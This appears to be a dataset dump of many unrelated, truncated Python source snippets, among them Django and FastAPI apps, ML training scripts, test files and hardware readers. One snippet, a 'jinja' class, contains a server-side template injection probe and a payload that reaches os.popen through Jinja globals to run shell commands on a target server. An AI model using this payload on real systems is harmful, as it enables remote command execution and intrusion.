text
stringlengths
2
999k
y = [1,3,25] b1 = bytes(y) b1[0] = 13
import re import numpy as np import matplotlib.pyplot as plt from pylab import * # args: log_name, match_rule, self_log_interval, smooth_log_interation loss_file_name = "simple_loss" title = "{}_Loss".format(loss_file_name) f = open("../log/{}.log".format(loss_file_name)) pattern = re.compile(r'Loss:[ ]*\d+\.\d+') sel...
# -*- coding: utf-8 -*- ''' Network tools to run from the Master ''' # Import python libs from __future__ import print_function from __future__ import absolute_import import socket # Import salt libs import salt.utils def wollist(maclist, bcast='255.255.255.255', destport=9): ''' Send a "Magic Packet" to wa...
from django.shortcuts import render from rest_framework import viewsets from .models import Person from .serializers import PersonSerializer from django.http import HttpResponse, JsonResponse from django.views.decorators.csrf import csrf_exempt from rest_framework.renderers import JSONRenderer from rest_framework.parse...
# https://www.geeksforgeeks.org/quick-sort/ def sorted(arr, n): if not arr: return [] pivot = arr[n] left = list(filter(lambda x: x < pivot, arr)) mid = list(filter(lambda x: x == pivot, arr)) right = list(filter(lambda x: x > pivot, arr)) return sorted(left, len(left) - 1) + mid + sorted(right, len...
from fastapi.testclient import TestClient import sys sys.path.append("./") from app.main import app client = TestClient(app) def test_predict(): """Return 200 Success when input returns valid json response.""" response = client.post("/predict", json={ "Borough": "Brooklyn", "Neighbourhood": "Clinton Hill...
import random from logzero import logger from neo.Core.Block import Block from neo.Core.Blockchain import Blockchain as BC from neo.Implementations.Blockchains.LevelDB.TestLevelDBBlockchain import TestLevelDBBlockchain from neo.Core.TX.Transaction import Transaction from neo.Core.TX.MinerTransaction import MinerTransac...
class PerformanceCounter(Component,IComponent,IDisposable,ISupportInitialize): """ Represents a Windows NT performance counter component. PerformanceCounter() PerformanceCounter(categoryName: str,counterName: str,instanceName: str,machineName: str) PerformanceCounter(categoryName: str,counterName: str,...
############################### # # # Alexandre Maros - D14128553 # # # ############################### import sys import boto.sqs import boto.sqs.queue import urllib2 from boto.sqs.message import Message from boto.sqs.connection import SQSConnection from boto.ex...
from fastapi import FastAPI import uvicorn app = FastAPI() @app.get("/") async def root(): return {"message": "Hello Duke"} @app.get("/add/{num1}/{num2}") async def add(num1: int, num2: int): """Add two numbers together""" total = num1 + num2 return {"total": total} if __name__ == '__main__': u...
# Generated by Django 2.0.3 on 2018-03-30 01:34 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('finances', '0003_transaction_user'), ] operations = [ migrat...
import sys from sqlalchemy import create_engine import nltk nltk.download(['punkt', 'wordnet', 'averaged_perceptron_tagger']) import pandas as pd from nltk.tokenize import word_tokenize from nltk.stem import WordNetLemmatizer from sklearn.metrics import classification_report from sklearn.multioutput import MultiOutpu...
""" Setup of core python codebase Author: Jeff Mahler """ from setuptools import setup requirements = [ 'autolab_core', 'numpy', 'lxml', 'pyyaml', 'trimesh', 'visualization', ] exec(open('thingset/version.py').read()) setup( name='thingset', version = __version__, description = '...
import matplotlib.pyplot as plt import numpy import RPi.GPIO as GPIO import time import sys from hx711 import HX711 def cleanAndExit(): print "Cleaning..." GPIO.cleanup() print "Bye!" sys.exit() hx = HX711(12, 13) hx.set_reference_unit(-31856.0) hx.reset() hx.tare() force = [] timeStep = 0.0 start...
# coding: utf-8 """ NiFi Rest Api The Rest Api provides programmatic access to command and control a NiFi instance in real time. Start and stop processors, monitor queues, query provenance data, and more. Each endpoint below includes a description, ...
#!/usr/bin/env python3 # MIT License # # Copyright (c) 2017 Caian Benedicto # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights #...
""" WSGI config for ML_web_app project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SE...
''' * This program is free software ; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation ; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful...
import subprocess from typer.testing import CliRunner from docs_src.commands.name import tutorial001 as mod app = mod.app runner = CliRunner() def test_help(): result = runner.invoke(app, ["--help"]) assert result.exit_code == 0 assert "Commands:" in result.output assert "create" in result.output ...
# coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
from _struct import * from _struct import _clearcache from _struct import __doc__
import numpy as np import pytest from scripts.utils import check_if_board_is_full, get_winner, negamax, negamax_alpha_beta_pruned board0 = np.zeros(shape=(3, 3)) board1 = np.array([[-1, 0, 1], [1, 0, 0], [1, -1, -1]]) board2 = np.array([[1, 0, 1], [0, 0, 0], [0, -1, -1]]) board3 = np.array([[1, -1, -1], [-1, 1, 1], [...
from hextokenizer import HexTokenizer class HexReader(object): def __init__(self): self.tokenizer = HexTokenizer() def readHex(self, hexStr, callback): self.tokenizer.lexer.input(hexStr) while True: token = self.readToken() if not token: break if token.type != 'START': raise Exception("In...
#!/usr/bin/env python # -*- coding: utf-8 -*- # 最小公倍数の計算 def gcd(n1:int, n2:int): if n2 == 0: return n1 else: return gcd(n2, n1%n2) if __name__ == "__main__": print(gcd(120, 180))
import time class MetricBase(object): def __init__(self, listeners, name): """Create a new metric object :param metricslib.listeners.Listeners: the listeners to use :param str name: the metric name """ self._listeners = listeners self._name = name class Counter(M...
import numpy as np import pygame import sys import os from collisionutils import * from colors import * from utilutils import * from chassis import AutoPathFollower, RobotDrive import initObstacles os.chdir(os.path.dirname(os.path.realpath(__file__))) size = (1340, 684) def allDisplay(obstacles, screen): display...
from django.db import models class StatusQuerySet(models.QuerySet): def approved(self): return self.filter(status="approved") def waiting(self): return self.filter(status="waiting") def rejected(self): return self.filter(status="rejected") class CommitManager(models.Manager): ...
import requests # Used to make HTTP requests import json # Used to parse JSON import os # Used to infer environment variables API_TAGO = os.environ.get('TAGOIO_API') or 'https://api.tago.io' REALTIME = os.environ.get('TAGOIO_REALTIME') or 'https://realtime.tago.io' class Plan: def __init__(self, acc_token): ...
''' Function: QQ个人专属报告 Author: Charles 微信公众号: Charles的皮卡丘 ''' import re import os import time import json import random import requests from .utils import * from DecryptLogin import login '''QQ个人专属报告类''' class QQReports(): def __init__(self, dirpath='qqdata', **kwargs): lg = login.Login() ...
# -*- coding: utf-8 -*- # @File : XGBoostLRDataProcess.py # @Author : Hua Guo # @Disc : from sklearn.preprocessing import OneHotEncoder from sklearn.base import TransformerMixin, BaseEstimator from xgboost.sklearn import XGBModel from copy import deepcopy from xgboost.sklearn import XGBClassifier import logging ...
from spotdl.authorize import AuthorizeBase import pytest class TestAbstractBaseClass: def test_error_abstract_base_class_authorizebase(self): with pytest.raises(TypeError): AuthorizeBase() def test_inherit_abstract_base_class_authorizebase(self): class AuthorizeKid(AuthorizeBase):...
"""Setup file for Cell Imaging package.""" import setuptools PY_MODULES = [ 'data_utils', ] setuptools.setup( name='cell_img', version='0.0.1', description='Cell Imaging package.', install_requires=[ 'absl-py>=0.11.0', 'apache-beam[gcp]>=2.34.0', 'fsspec[gcs]', 'nu...
from django.utils.version import get_version VERSION = (3, 2, 6, 'final', 0) __version__ = get_version(VERSION) def setup(set_prefix=True): """ Configure the settings (this happens as a side effect of accessing the first setting), configure logging and populate the app registry. Set the thread-local...
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
#!/usr/bin/env python import sys import os import uploader import json from exif_aux import verify_mapillary_tag from . import ipc def upload(import_path, verbose=False, skip_subfolders=False, number_threads=None, max_attempts=None, video_import_path=None, dry_run=False,api_version=1.0): ''' Upload local imag...
import argparse import os import time import torch import numpy as np from torch.utils.data import DataLoader import torch.optim from torch.nn.utils import clip_grad_norm_ from data import TrainStation from motsynth import MOTSynth, MOTSynthBlackBG from log_utils import log_summary from utils import save_ckpt, load_ckp...
# -*- coding: utf-8 - # # This file is part of restkit released under the MIT license. # See the NOTICE for more information. import os import re import time import urllib.request, urllib.parse, urllib.error import urllib.parse import warnings import http.cookies from restkit.errors import InvalidUrl absolute_http_...
from ._version import version_info, __version__ # noqa: F401 from .Html import Html # noqa: F401 from .VueWidget import VueWidget # noqa: F401 from .VueTemplateWidget import VueTemplate # noqa: F401 def _jupyter_nbextension_paths(): return [{ 'section': 'notebook', 'src': 'static', 'de...
from __future__ import print_function # for localized messages from . import _ # Config from Components.config import config, ConfigYesNo, ConfigNumber, \ ConfigSelection, ConfigSubsection, ConfigClock, ConfigYesNo, ConfigInteger # Calculate default begin/end from time import time, localtime, mktime now = localtime...
''' Controller para fornecer dados da CEE ''' from flask import request from flask_restful_swagger_2 import swagger from resources.base import BaseResource class OperacoesEscravoResource(BaseResource): ''' Classe de múltiplas incidências ''' CUSTOM_SWAGGER_PARAMS = [ {"name": "categorias", "required": ...
import numpy as np import time import sys from __init__ import * from init import init_all from printer import print_header, print_config, print_line from builder import create_lib,build_unsharp from exec_pipe import unsharp_mask from app_tuner import auto_tune app = "unsharp_mask" def main(): print_header() ...
from model.joint import AgeModelMorph import tensorflow as tf import sys, os import numpy as np flags = tf.app.flags FLAGS = flags.FLAGS flags.DEFINE_string('log_dir', "path-to-log", 'Log is saved to this directory.') flags.DEFINE_integer('gpu', 4, 'GPU to use.') os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" os.en...
from z3 import * # pip3 install z3-solver # Jacques et Françoise # Jackie et John # Serge et Jane # Simone et Yves s = Solver() jacques = Int("jacques") francoise = Int("francoise") jackie = Int("jackie") john = Int("john") serge = Int("serge") jane = Int("jane") simone = Int("simone") yves = Int("yves") s.add(ja...
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
# Play with Kalman filters from Kalman-and-Bayesian-Filters-in-Python # Press the green button in the gutter to run the script. # install packages using 'python -m pip install numpy, matplotlib, scipy, pyfilter # References: # [2] Roger Labbe. "Kalman and Bayesian Filters in Python" -->kf_book # https://github.com...
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
#!/usr/bin/python # # send pilot commands and update state # # Copyright (C) 2011 Austin Robot Technology # License: Modified BSD Software License Agreement # # $Id$ PKG_NAME = 'ackermann_hks' # ROS node setup import roslib; roslib.load_manifest(PKG_NAME) import rospy # ROS messages from ackermann_msgs.msg impo...
""" MobileNetV2 for ImageNet-1K, implemented in TensorFlow. Original paper: 'MobileNetV2: Inverted Residuals and Linear Bottlenecks,' https://arxiv.org/abs/1801.04381. """ __all__ = ['MobileNetV2', 'mobilenetv2_w1', 'mobilenetv2_w3d4', 'mobilenetv2_wd2', 'mobilenetv2_wd4'] import os import tensorflow as tf fr...
#----------------------------------------------------------------------------- # # Copyright (c) 2007 by Enthought, Inc. # All rights reserved. # #----------------------------------------------------------------------------- """ A customization of the single project factory to make EnvProjects. """ # Standard libra...
import contextlib import os from collections.abc import Mapping # noqa from typing import Any, List, Optional, Union import dask import dask.array as da import distributed import packaging.version import pandas import sklearn import sklearn.utils.validation SK_VERSION = packaging.version.parse(sklearn.__version__) D...
class GetAttributeError(Exception): """Raise when the immutable attribute cannot be accessed.""" class SetAttributeError(Exception): """Raise when the immutable attribute cannot be set."""
#!/usr/bin/env python import pigpio class decoder: """ A class to read Wiegand codes of an arbitrary length. The code length and value are returned. EXAMPLE #!/usr/bin/env python import time import pigpio import wiegand def callback(bits, code): print("bits={} code={}".format(...
# 텍스트 요약 API # KoBART 기반 import torch from kobart import get_kobart_tokenizer from transformers.models.bart import BartForConditionalGeneration def load_model(): model = BartForConditionalGeneration.from_pretrained("./kobart_summary") return model # 텍스트 요약 def summarize(text_origin): model = load_model(...
# -*- coding: utf-8 -*- # # =================================================================== # The contents of this file are dedicated to the public domain. To # the extent that dedication to the public domain is not available, # everyone is granted a worldwide, perpetual, royalty-free, # non-exclusive license to e...
class jinja: def __init__(self): self.name = "jinja" self.exec = True self.download = False def payload_test(self): return ["(347*21)","{{ 347*21 }}"] def execu(self,cmd,index=-1): payload = [ "{{ self.__init__.__globals__.__builtins__.__import__('os').popen...
# Copyright (c) 2021 - present, Timur Shenkao # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
import json from typing import List, Dict, Callable from terminaltables import AsciiTable as Table from showtime.types import TVMazeEpisode, TVMazeShow, Episode, DecoratedEpisode, Show PrintFunction = Callable[[str], None] class Output(): """Output handler""" def __init__(self, print_function: PrintFunction,...
import os import os.path import logging import argparse __version__ = '0.0.1' __updated__ = "07.02.2020" __date__ = "07.02.2020" log = logging.getLogger(__name__) def setLog(logDebug): log = logging.getLogger() if logDebug: numeric_level = getattr(logging, "DEBUG", None) else: numeric_le...
{'description': 'My custom description', 'short_name': 'bytes sent', 'integration': None, 'statsd_interval': None, 'per_unit': 'second', 'type': 'gauge', 'unit': 'byte'}
import regex as re class ssfparser: def __init__(self, filename): with open(filename, 'r') as file: self.data = file.read() def fs_func(self, fs): fs_parts, fs_map = re.findall(' ([^\s>]*\=[^\s>]*)', fs), {} for part in fs_parts: pair = part.split('=') ...
from functools import wraps from django.contrib.auth.models import User from django.core.urlresolvers import reverse_lazy from django.http import JsonResponse from django.views.generic.edit import UpdateView as BaseUpdateView, CreateView as BaseCreateView, DeleteView as BaseDeleteView from django.contrib import messag...
# -*- coding: utf-8 -*- URLS = { # Issue comments 'GET_COMMENTS': 'repositories/%(username)s/%(repo_slug)s/issues/%(issue_id)s/comments/', 'GET_COMMENT': 'repositories/%(username)s/%(repo_slug)s/issues/%(issue_id)s/comments/%(comment_id)s/', 'CREATE_COMMENT': 'repositories/%(username)s/%(repo_slug)s/iss...
""" ASGI config for sekolah project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTI...
#!/usr/bin/env python3 # Copyright (c) 2014-2021 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Test spending coinbase transactions. # The coinbase transaction in block N can appear in block # N+60...
# -*- coding: utf-8 -*- # # Copyright (c) 2015 Cisco Systems, Inc. and others. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE...
from __future__ import print_function import shutil import tempfile from datetime import date import os import unittest from urllib.parse import urlencode from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.ui import WebDriverWait from selenium.webdri...
from django.shortcuts import render from django.template import RequestContext, loader from django.http import HttpResponse, HttpResponseRedirect from django.conf import settings from django.http import JsonResponse import simplejson as json import requests from django import template import urllib from collections i...
import os ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) # Base Path for the YOLO Directory MODEL_PATH = os.path.join(ROOT_DIR, "yolo/model") CLASSES_PATH = os.path.join(ROOT_DIR, "yolo") # Confidence Threshold Value. If it is greater than 50% we will save whatever the model detects. CONF_THRESH = 0.5 # Non-...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django import forms from django.utils.translation import ugettext_lazy as _ from django.contrib.auth import get_user_model from django.conf import settings from ..models.topic import Topic from ..models.category import Category from ..utils.widget...
""" mbed CMSIS-DAP debugger Copyright (c) 2006-2015 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable ...
import pytest from web3.exceptions import ( ValidationError, ) @pytest.fixture(autouse=True) def wait_for_first_block(web3, wait_for_block): wait_for_block(web3) @pytest.fixture() def math_contract(web3, MATH_ABI, MATH_CODE, MATH_RUNTIME...
import errno import os import signal from rq import Worker as BaseWorker, Queue as BaseQueue, get_current_job from rq.utils import utcnow from rq.timeouts import UnixSignalDeathPenalty, HorseMonitorTimeoutException from rq.job import Job as BaseJob, JobStatus class CancellableJob(BaseJob): def cancel(self, pipeli...
# BSD-3-Clause License # # Copyright 2017 Orange # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the followi...
from collections import defaultdict import pandas as pd import os import argparse import numpy as np import joblib def clean_data(pkl_folder_path, output_path, list_keys = ['pose', 'betas'], pikl_protocol = 4): df = pd.DataFrame() pkl_files = os.listdir(pkl_folder_path) data = [] for pkls in pk...
def find_loop_size(target): loop_size = 1 value = 1 mult = 7 while True: value = (value * mult) % 20201227 if value == target: break loop_size += 1 return loop_size def compute_subject_number(subject_number, loop_size): value = 1 for _ in range(loop_size...
from cereal import car from common.numpy_fast import clip, interp from selfdrive.car import apply_toyota_steer_torque_limits, create_gas_interceptor_command, make_can_msg from selfdrive.car.toyota.toyotacan import create_steer_command, create_ui_command, \ create_accel_command...
#!/usr/bin/python3 # ***************************************************************************** # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ...
import random from faker import Faker from common.constans import CreateCourseConstants fake = Faker("Ru-ru") class CreateCourseData: def __init__( self, full_course_name=None, short_course_name=None, end_day=None, end_month=None, end_year=None, end_hour=...
import pandas as pd import numpy as np import argparse from sklearn.metrics import accuracy_score, roc_auc_score def benchmark(predictions_csv, targets_csv): predictions = pd.read_csv(predictions_csv)['prediction'] targets = pd.read_csv(targets_csv)['target'] acc = accuracy_score(targets, n...
from starlette.responses import RedirectResponse, Response from petgram.api import crud from fastapi import Depends, status, Request, Form from fastapi import APIRouter, HTTPException from . import security from . import crud from datetime import timedelta from fastapi_login.exceptions import InvalidCredentialsExceptio...
# -*- coding: utf-8 -*- # Generated by Django 1.9a1 on 2015-09-29 20:14 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('categories', '0001_initial'), ] operations = [ migrations.AlterModelOptions( ...
# Copyright (c) Chris Choy (chrischoy@ai.stanford.edu). # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, ...
# -*- coding: utf-8 -*- from .myqt import QT, DebugDecorator import pyqtgraph as pg class ControlPanel(QT.QWidget): def __init__(self, conf, parent=None): QT.QWidget.__init__(self, parent=parent) self.conf = conf layout = QT.QVBoxLayout() self.setLayout(layout) ...
# This file is part of the CERN Indico plugins. # Copyright (C) 2014 - 2018 CERN # # The CERN Indico plugins are free software; you can redistribute # them and/or modify them under the terms of the MIT License; see # the LICENSE file for more details. from __future__ import unicode_literals import base64 import os fr...
#!/usr/bin/env python3 # Copyright (c) 2015-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test the prioritisetransaction mining RPC.""" from test_framework.test_framework import MeritTestFrame...
import torch.nn as nn import torch.nn.functional as F from torch.nn import init class ConditionalBatchNorm2d(nn.BatchNorm2d): """Conditional Batch Normalization""" def __init__(self, num_features, eps=1e-05, momentum=0.1, affine=False, track_running_stats=True): super(ConditionalBat...
from dataclasses import dataclass from bindings.csw.image_crstype import ImageCrstype __NAMESPACE__ = "http://www.opengis.net/gml" @dataclass class ImageCrs(ImageCrstype): class Meta: name = "ImageCRS" namespace = "http://www.opengis.net/gml"
from geopy.geocoders import * import re import time import cPickle import datetime from datetime import timedelta import geopy.geocoders from pprint import pprint from pymongo import MongoClient import argparse geolocator = GoogleV3() #OK parser = argparse.ArgumentParser() parser.add_argument('--auth', action="store...
#!/usr/bin/python3 """ Given an unsorted array nums, reorder it such that nums[0] < nums[1] > nums[2] < nums[3].... Example 1: Input: nums = [1, 5, 1, 1, 6, 4] Output: One possible answer is [1, 4, 1, 5, 1, 6]. Example 2: Input: nums = [1, 3, 2, 2, 3, 1] Output: One possible answer is [2, 3, 1, 3, 1, 2]. Note: You m...
from flask import Flask, Blueprint from flask_restplus import Api, Resource, fields api_bp = Blueprint('api', __name__) api = Api(api_bp, version='1.0', title='Nuncio Api', description='The Nuncio api.')
# Copyright (c) 2020 Anastasiia Birillo, Elena Lyulina import pandas as pd from src.main.util.consts import ISO_ENCODING from src.main.util.file_util import tt_file_condition, get_all_file_system_items def print_all_unique_values_in_file(file: str, column: str) -> None: data = pd.read_csv(file, encoding=ISO_ENC...
# %% markdown # Portfolio Optimization - Risk # %% add path if __name__ == '__main__' and __package__ is None: import sys, os.path sys.path # append parent of the directory the current file is in inputfilename1 = r"C:\Users\Liam Morrow\Documents\Onedrive\Python scripts\_01 Liam Stock Analysis Project\st...
import os import matplotlib.pyplot as plt import pandas as pd diabetes = pd.read_csv(filepath_or_buffer='diabetes.data', sep ='\t', header=0) os.makedirs('plots', exist_ok=True) fig, axes = plt.subplots(2, 1, figsize=(5,5)) axes[0].plot(diabetes['BP']) axes[1].plot(diabetes['BP'], diabetes['AGE']) axes[0].set_xlab...
# Copyright 2021 Yan Yan # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, soft...
class UPGRADE_EVENT: ''' Event type of Device Message Center ''' FIRST_PACKET = 'first_packet' BEFORE_WRITE = 'before_write' AFTER_WRITE = 'after_write' FINISH = 'finish' ERROR = 'error' PROGRESS = 'progress' class UPGRADE_GROUP: FIRMWARE = 'firmware' from .firmware_worker im...
"""empty message Revision ID: a707844c6e33 Revises: Create Date: 2020-01-17 04:22:45.348369 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'a707844c6e33' down_revision = None branch_labels = None depends_on = None def upgrade(): # ### commands auto gene...
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2015 Airbus # Copyright 2017 Fraunhofer Institute for Manufacturing Engineering and Automation (IPA) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy ...
#!/usr/bin/env python3 # Copyright (c) 2015-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Test mulitple rpc user config option rpcauth # from test_framework.test_framework import BitcoinTest...
""" Train job interacts with SageMaker using XGB """ import os import datetime import boto3 import pandas as pd import numpy as np import sagemaker from sklearn.model_selection import train_test_split from sklearn.datasets import load_boston from sagemaker.amazon.amazon_estimator import get_image_uri from ...sm_uti...